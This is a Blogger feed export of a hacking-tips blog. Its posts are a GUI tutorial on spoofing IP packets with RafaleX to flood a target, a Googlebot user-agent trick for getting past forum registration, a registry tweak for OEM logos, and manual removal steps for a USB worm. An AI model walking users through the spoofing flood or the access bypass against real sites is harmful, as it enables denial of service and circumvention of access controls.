tag:blogger.com,1999:blog-6074804048020647832024-02-06T20:51:35.348-08:00Techno Boostersbnhttp://www.blogger.com/profile/03291711292827871173noreply@blogger.comBlogger191125tag:blogger.com,1999:blog-607480404802064783.post-32038303958309391552013-01-18T01:31:00.002-08:002013-01-18T01:31:25.240-08:00Learn to Spoof IP Address With RafaleX and Engage Packet Builder..!!!<div class="MsoNormal">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQnD8CfTwoQ5pAODFX-LBcY-4ocemyYbRJSwM1pEJdhu44J8t0Msw1HHsdcEvmBrZEIDu7Wr8SscYJAWlaPYS8hIZCRiBSzDWBRw4rwWGlngh54R_nScZPk35MNrcqjMMMuzfG26Xl47w/s1600/1.JPG" target="_blank"><span><span><img alt="[Image: 1.JPG]" border="0" height="251" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQnD8CfTwoQ5pAODFX-LBcY-4ocemyYbRJSwM1pEJdhu44J8t0Msw1HHsdcEvmBrZEIDu7Wr8SscYJAWlaPYS8hIZCRiBSzDWBRw4rwWGlngh54R_nScZPk35MNrcqjMMMuzfG26Xl47w/s1600/1.JPG" width="551" /></span></span></a><span></span></div>
<div class="MsoNormal">
<span>The RafaleX application allows for the
creation of custom IP packets. The packet is very customizable and
allows for the spoofing of the IP, setting the flags, number of packets,
and so forth. RafaleX is becoming hard to locate on the Internet as it
appears it is now called Engage Packet Builder.<br /> <br /> The RafaleX
application is an excellent way to “spoof” custom packets. Attackers can
place a valid IP address as the source of the packet and the target
will have to attempt to respond to the spoofed address. By sending
hundreds of thousands of packets in this manner, an attacker can create a
Denial of Service attack against a target.<br /><br /> In this example, the
Source IP of the packets to be sent is set to 10.10.10.10 with the
source address of port 123. According to Internet etiquette, this should
never be able to route on the Internet as the 10.x.x.x range is
reserved for Private addressing. Set the destination IP to the target
address. In this example it is 172.16.1.40. Set the Destination<br /> port to port 21. The SYN and ACK flags were set for each packet.<br /><br /> *Note: The Ethernet communications process requires a three-way handshake:<br /><br /> SYN: Synchronize<br /> SYN-ACK: Synchronize-Acknowledge<br /> ACK: Acknowledge<br /><br /> When a computer receives an uninitiated SYN-ACK packet its response is to send a RST (Reset) packet.</span><span><img alt="[Image: 2.JPG]" border="0" height="251" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-NyfQHVc26p1zN8B-14fayxmluE2mxWlPLyQ2MP1os32K8QPQiFTSeu8DDhD0VrTGokiHGBB5niQxPKNQOLPMyIOVttFerBadVrmF4ona1OSYd58PGYBl0hkmNrHnaRC1HbaGv_NoKLM/s400/2.JPG" width="554" /></span><span><br /><br />
The number of packets was set to 100. Click the Send button to send the
packets to the target. The Status area at the bottom left of the
application will tell you that the packets were sent.<br /></span><span><img alt="[Image: 3.JPG]" border="0" height="250" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgp9PmTUEw9pFz98m2F3kuDAjzPkOii2fMLFioGRBqQYslxqQCve53AdPQOMVPZ0sH8tlFZq7f62q_mcfAKOlLIGEd0D7nPBrrP0YDzPLLsY7Ow7DV6ZnR5xqyol_6jHv9jhOiQEqUlduw/s400/3.JPG" width="559" /></span><span><br /><br /> The proof is below screen shot captured from packet capturing tool:</span><span><img alt="[Image: 4.JPG]" border="0" height="226" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc0mwvDmR5bCtzF2h8Jkzq-_O0CP2G7mRMaApR13S9pQ3g9GHlQrY5q36pavWaXcGSEtmJUHnaDa6DpcZ00YRg9ZWbS9CT6c2Noy6pqZZsf0-61sXNLtUpanMFsLfeFROob5RpBCPmA7A/s400/4.JPG" width="563" /></span><span></span></div>
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<span><br /></span><span><img alt="[Image: 5.JPG]" border="0" height="226" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFUx1TIETU1RYSgdrNNlaiHRugSiP4YiTQttYfkvB-yKF7QMcdiX-1nHi_09ulGoG9YtGnzpQjP9fy3Vng2F7wNF1n0E0VlLVidjqAQJiYzVZ06RPOnS1eYf6EoSfpjDUDyUO6qq-oRhU/s400/5.JPG" width="562" /></span><span></span></div>
<div class="MsoNormal">
<strong><span>NOTE TO THE READERS : </span></strong></div>
<blockquote>
<div class="MsoNormal">
<strong><span>This Tutorial<span> </span>is for
educational purposes only and any actions taken By you after reading
this post is all upon you. IHA takes no Charge of the Effects hereafter.</span></strong></div>
</blockquote>
<strong><span> THANK YOU FOR READING </span></strong><div class="blogger-post-footer">https://www.facebook.com/AvinHack</div>bnhttp://www.blogger.com/profile/03291711292827871173noreply@blogger.com0tag:blogger.com,1999:blog-607480404802064783.post-35782524255553219702013-01-18T01:24:00.003-08:002013-01-18T01:24:54.576-08:00Browse Any Forums/Websites Without Registering..!!!<div class="body hasMarkup">
Visit any forum or website to find something useful and they will ask you to register.<br />
<div>
All websites and forums will block unregistered users, but they
won’t block Google Bot. What we will do is to switch our User Agent to
that of Google Bot and freely browse any website or forum without
registering. </div>
<br /> First grab the <strong>User Agent Switcher</strong> add-on for <span><span class="kLink">Firefox</span></span> called ‘user agent’ <a href="http://adfoc.us/455717672143" target="_blank"><strong>here</strong></a> and install it. <br /> Now go to Tools > User Agent Switcher > Options and then again to Options.<br /><img alt="" border="0" src="http://www.addictivetips.com/wp-content/uploads/2009/03/useragentswitcheroptions.png" /><br /><br /><br /><br /> Select User Agent from the left sidebar and click Add. Now in the description field type: <br />
<blockquote>
crawl-66-249-66-1.googlebot.com</blockquote>
and in user agent field type:<br />
<blockquote>
Googlebot/2.1 (+<a href="http://www.googlebot.com/bot.html" target="_blank">http://www.googlebot.com/bot.html</a>)</blockquote>
as shown in the screenshot below.<br /><img alt="" border="0" src="http://www.addictivetips.com/wp-content/uploads/2009/03/addinganewuseragent.png" /><br /><br /><br /> Select Google Bot as your User Script by going to Tools > User Agent Switcher.<br /><img alt="" border="0" src="http://www.addictivetips.com/wp-content/uploads/2009/03/selectinggooglebotasuseragent.png" /><br /><br /> Now browse any website or forum without registering.<strong><br /></strong></div>
<div class="blogger-post-footer">https://www.facebook.com/AvinHack</div>bnhttp://www.blogger.com/profile/03291711292827871173noreply@blogger.com0tag:blogger.com,1999:blog-607480404802064783.post-49836437535778424282012-12-15T10:47:00.001-08:002012-12-15T10:47:04.038-08:00Remove or Set the OEM Logo and Support Information in Windows 7/Vista/XP .<div class="" style="clear: both; text-align: center;">
<div class="" style="clear: both; text-align: center;">
<span style="font-family: Arial,Helvetica,sans-serif;"><u><br /><b><span class="Apple-style-span" style="font-size: medium;">Easily Remove or Set the OEM Logo and Support Information in Windows 7/Vista/XP .</span></b></u></span></div>
<div style="text-align: left;">
<span style="font-family: Arial,Helvetica,sans-serif;"><b><span class="Apple-style-span" style="font-size: medium;"><br /><br />What is OEM Logo ?</span></b><b><span class="Apple-style-span" style="font-size: medium;"><span class="Apple-style-span">OEM</span><span class="Apple-style-span"> </span></span><span class="Apple-style-span">IS Original equipment manufacturer .(the information regarding products ) and its logo<br /><br /><i><u>And we are here going to remove or set the OEM Logo and support Information </u></i></span></b></span></div>
<span style="font-family: Arial,Helvetica,sans-serif;"><br /><span class="Apple-style-span">If
you installed the Free released version of Windows 7, you will find out
that there is no Original Equipment Manufacturer information like <b>DELL, HP, ACER, ASUS and Lenovo logo</b><br />As Seen in pic .....</span><br /><br /></span><div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Arial,Helvetica,sans-serif;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglmYKNdsix0mhKyZhtzUdwSZyI69nvPLSZn0ogMvXO7mqEO-rb6vMamtmT3dwySW4_6GvCj2ZdLqRlevR6KEhrOs-bBqRIM9JSWyPw78rJw7_ARqDYZvZfzgEgdMKxLwwEyE06FeH_Bus/s1600/po.png" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="373" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglmYKNdsix0mhKyZhtzUdwSZyI69nvPLSZn0ogMvXO7mqEO-rb6vMamtmT3dwySW4_6GvCj2ZdLqRlevR6KEhrOs-bBqRIM9JSWyPw78rJw7_ARqDYZvZfzgEgdMKxLwwEyE06FeH_Bus/s640/po.png" width="640" /></a></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Arial,Helvetica,sans-serif;"><br /></span></div>
<span style="font-family: Arial,Helvetica,sans-serif;"><br /><b><span class="Apple-style-span">So There are three ways to change the OEM logo and <span style="text-align: center;">Support Information in Windows 7/Vista/XP .</span></span></b><br /><span class="Apple-style-span">1.Through registry </span><br /><span class="Apple-style-span">2. Direct method or </span><br /><span class="Apple-style-span">3. By Third party software<br /><br />Now i will discuss all the Method One by one :) <br />so gets ready <br />1 . First of all we will use the Third party software Name WinBubbles <b>Using WinBubbles-Lite 2009</b>. you can separately customize or add a Logo in the System Properties, and Performance Information and Tools Window.</span></span><div style="text-align: left;">
<span style="font-family: Arial,Helvetica,sans-serif;"><br /></span></div>
<span style="font-family: Arial,Helvetica,sans-serif;"><br /><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDN1bika3ukjxJeD82oHN4WuBU5x1PFNIOJzZ77GYlcUP1OhyphenhyphenG9bdop41riZ-7pX9WiqN42dBLYc7TOsStzFb3M0Y4JIdX8ZVBbS5-MAFjAQBQrBizaBO144QQFCJbaBToW8pmKyJmfJI/s1600/branding.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="206" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDN1bika3ukjxJeD82oHN4WuBU5x1PFNIOJzZ77GYlcUP1OhyphenhyphenG9bdop41riZ-7pX9WiqN42dBLYc7TOsStzFb3M0Y4JIdX8ZVBbS5-MAFjAQBQrBizaBO144QQFCJbaBToW8pmKyJmfJI/s400/branding.JPG" width="400" /></a><br /><b><br /></b><br /><br /><span class="Apple-style-span">Also,
you’ll noticed that when you set the logo in Performance Information
and Tools Window, there is a difference between the size or layout in
Windows 7 and Vista.</span><br /></span><div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Arial,Helvetica,sans-serif;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXwaWYudlLiKb8zYRkhC42uQONp1y3-I8JugiXRp1zKCx1xK6ynccZ2elvf8B9W0HDC7-21rgiHekhcsCmuPQaiVSKnrBER-V4NwVBkIYUJAuJN0wo6MOL4SJWcKa7LzT5ZlRb4iEFs5w/s1600/x.JPG" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="111" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXwaWYudlLiKb8zYRkhC42uQONp1y3-I8JugiXRp1zKCx1xK6ynccZ2elvf8B9W0HDC7-21rgiHekhcsCmuPQaiVSKnrBER-V4NwVBkIYUJAuJN0wo6MOL4SJWcKa7LzT5ZlRb4iEFs5w/s400/x.JPG" width="400" /></a></span></div>
<span style="font-family: Arial,Helvetica,sans-serif;"><br /><span class="Apple-style-span"><br /></span></span><div>
<span style="font-family: Arial,Helvetica,sans-serif;"><span class="Apple-style-span"><br /></span></span></div>
<span style="font-family: Arial,Helvetica,sans-serif;"><span class="Apple-style-span">So <b><a href="http://www.softpedia.com/get/PORTABLE-SOFTWARE/System/System-Enhancements/WinBubbles-Lite.shtml" target="_blank">Download</a> </b> this Free Utility and do customization .</span></span><div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Arial,Helvetica,sans-serif;"><span class="Apple-style-span"><br /></span></span></div>
<div style="text-align: left;">
<span style="font-family: Arial,Helvetica,sans-serif;"><span class="Apple-style-span"><b><span class="Apple-style-span" style="font-size: medium;">2.</span></b> <b>Now</b> second way is Through registry If You Have some Knowledge About Registry then this method is also the Best . </span></span><ul>
<li><span style="font-family: Arial,Helvetica,sans-serif;"> <span class="Apple-style-span"> Click Start, type <b>regedit.exe</b> and press <b>ENTER</b></span></span></li>
<li style="text-align: left;"><span style="font-family: Arial,Helvetica,sans-serif;"><b><span class="Apple-style-span" style="font-weight: normal;"><span class="Apple-style-span"> Navigate to:</span> </span><b>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Window NT <b><b>\CurrentVersion\Winsat</b></b> </b></b></span></li>
<li><span style="font-family: Arial,Helvetica,sans-serif;"> <span class="Apple-style-span"> Create a sub-key named <b>WindowsExperienceIndexOemInfo</b> and select it</span></span></li>
<li><span style="font-family: Arial,Helvetica,sans-serif;"><span class="Apple-style-span"> In the right-pane, create a string value (REG_SZ) named logo</span></span></li>
<li><span style="font-family: Arial,Helvetica,sans-serif;"><span class="Apple-style-span"> Double-click logo and type the full path to the logo file (.BMP file type)</span></span></li>
<li><span style="font-family: Arial,Helvetica,sans-serif;"><span class="Apple-style-span"> Exit the Registry Editor </span></span></li>
</ul>
<span style="font-family: Arial,Helvetica,sans-serif;"><br /></span><div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Arial,Helvetica,sans-serif;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhk4exy1y3ge_H2yo4OgzujBr2f2FbmAhZX0pDvBTH_BshVLiufdqLxMtwqi7KHeWOY4sVxEn6_28p6Uno5iSbj2Lf0ffrbL8Qp5yzBMtmpmgODxBj_n9o2xD6GiY1L4SZwjK1mEp0h558/s1600/r.JPG" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="385" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhk4exy1y3ge_H2yo4OgzujBr2f2FbmAhZX0pDvBTH_BshVLiufdqLxMtwqi7KHeWOY4sVxEn6_28p6Uno5iSbj2Lf0ffrbL8Qp5yzBMtmpmgODxBj_n9o2xD6GiY1L4SZwjK1mEp0h558/s640/r.JPG" width="640" /></a></span></div>
</div>
<span style="font-family: Arial,Helvetica,sans-serif;"><span class="Apple-style-span"><br />3. This is Direct Way to replace the perflogo.bmp from the path <b>C:\windows\system32\OEM\PerfLogo.bmp </b>with the corresponding logo you desired</span><br /><br /><br /><b>HOPE YOU LIKE THIS TRICKS :)<br />JUST SHARE AND ENJOY :)</b></span><blockquote class="tr_bq">
<span style="font-family: Arial,Helvetica,sans-serif;"><span class="Apple-style-span" style="font-size: medium;"><b><i><br /></i></b></span></span></blockquote>
<span style="font-family: Arial,Helvetica,sans-serif;"></span></div>
<div class="blogger-post-footer">https://www.facebook.com/AvinHack</div>bnhttp://www.blogger.com/profile/03291711292827871173noreply@blogger.com0tag:blogger.com,1999:blog-607480404802064783.post-1472087736167165682012-11-20T22:05:00.003-08:002012-11-20T22:05:35.533-08:00Remove new folder.exe virus...!!!<div dir="ltr" style="text-align: left;">
<b style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; line-height: 18px;">Remove New Folder Virus regsvr.exe virus, or as new folder.exe virus</b><br /> <img height="131" id="il_fi" src="http://www.google.co.in/url?source=imglanding&ct=img&q=http://amiworks.co.in/talk/wp-content/newfolder-thumb.jpg&sa=X&ei=_26sUITEE8-srAeLwYDwAw&ved=0CAkQ8wc&usg=AFQjCNG18h6tXIb0Oe9RlViOnMGHLYxvXw" style="padding-bottom: 8px; padding-right: 8px; padding-top: 8px;" width="113" /><br /><br style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;" /><span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;">This
virus is know popularly as regsvr.exe virus, or as new folder.exe virus
and most people identify this one by seeing autorun.inf file on their
pen drives, But trend micro identified it as WORM_DELF.FKZ. It is
spreading mostly using pen drives as the medium.</span><br style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;" /><span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;">Well, so here is the story of how i was able to kill the monster and reclaim my hard disk space.</span><br style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;" /><span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;">Manual Process of removal</span><br style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;" /><span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;">I prefer manual process simply because it gives me option to learn new things in the process.</span><br style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;" /><span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;">So let’s start the process off reclaiming the turf that virus took over from us.</span><br style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;" /><br style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;" /><span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;">1.Cut The Supply Line :</span><br style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;" /><span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;">a.
Search for autorun.inf file. It is a read only file so you will have to
change it to normal by right clicking the file , selecting the
properties and un-check the read only option</span><br style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;" /><span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;">b. Open the file in notepad and delete everything and save the file.</span><br style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;" /><span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;">c. Now change the file status back to read only mode so that the virus could not get access again.</span><br style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;" /><span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;">d. Click start->run and type msconfig and click ok</span><br style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;" /><span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;">e. Go to startup tab look for regsvr and uncheck the option click OK.</span><br style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;" /><span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;">f. Click on Exit without Restart, cause there are still few things we need to do before we can restart the PC.</span><br style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;" /><span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;">g. Now go to control panel -> scheduled tasks, and delete the At1 task listed</span><br />
<a href="http://www.blogger.com/blogger.g?blogID=607480404802064783" name="more"></a><br style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;" /><span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;">2.Open The Gates Of Castle :</span><br style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;" /><span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;">a. Click on start -> run and type gpedit.msc and click Ok.</span><br style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;" /><span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;">c.
If you are Windows XP Home Edition user you might not have gpedit.msc
in that case download and install it from Windows XP Home Edition:
gpedit.msc</span><br style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;" /><span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;">d. Go to users configuration->Administrative templates->system</span><br style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;" /><span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;">e. Find “prevent access to registry editing tools” and change the option to disable.</span><br style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;" /><span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;">f. Once you do this you have registry access back.</span><br style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;" /><br style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;" /><span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;">3.Launch The Attack At Heart Of Castle :</span><br style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;" /><span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;">a. Click on start->run and type regedit and click ok</span><br style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;" /><span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;">b. Go to edit->find and start the search for regsvr.exe,</span><br style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;" /><span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;">c.
Delete all the occurrence of regsvr.exe; remember to take a backup
before deleting. DO NOT FORGET that regsvr32.exe is not to be deleted.
Delete regsvr.exe occurrences only.</span><br style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;" /><span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;">d.
At one ore two places you will find it after explorer.exe in theses
cases only delete the regsvr.exe part and not the whole part. E.g. Shell
= “Explorer.exe regsvr.exe” the just delete the regsvr.exe and leave
the explorer.exe</span><br style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;" /><br style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;" /><span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;">4.Seek And Destroy the enemy soldiers, no one should be left behind :</span><br style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;" /><span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;">a. Click on start->search->for files and folders.</span><br style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;" /><span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;">b. Their click all files and folders</span><br style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;" /><span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;">c. Type “*.exe” as filename to search for</span><br style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;" /><span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;">d. Click on ‘when was it modified ‘ option and select the specify date option</span><br style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;" /><span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;">e. Type from date as 1/31/2010 and also type To date as 1/31/2010</span><br style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;" /><span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;">f. Now hit search and wait for all the exe’s to show up.</span><br style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;" /><span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;">g.
Once search is over select all the exe files and shift+delete the
files, caution must be taken so that you don’t delete the legitimate exe
file that you have installed on 31st January.</span><br style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;" /><span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;">h. Also selecting lot of files together might make your computer unresponsive so delete them in small bunches.</span><br style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;" /><span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;">i. Also find and delete regsvr.exe, svchost .exe( notice an extra space between the svchost and .exe)</span><br style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;" /><br style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;" /><span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;">5.Enjoy :</span><br style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;" /><span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;">1. Now do a cold reboot (ie press the reboot button instead) and you are done.</span><br style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;" /><span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; font-style: italic; font-weight: bold; line-height: 18px;">I
hope this information helps you win your own battle against this virus.
Soon all antivirus programs will be able to automatically detect and
clean this virus.</span> </div>
<div class="blogger-post-footer">https://www.facebook.com/AvinHack</div>bnhttp://www.blogger.com/profile/03291711292827871173noreply@blogger.com0tag:blogger.com,1999:blog-607480404802064783.post-19008009357946079182012-10-09T00:45:00.000-07:002012-10-09T00:45:40.523-07:00How to Log UnAuthorized Login Attempts in Win NT...!!!!<!--[if !mso]>
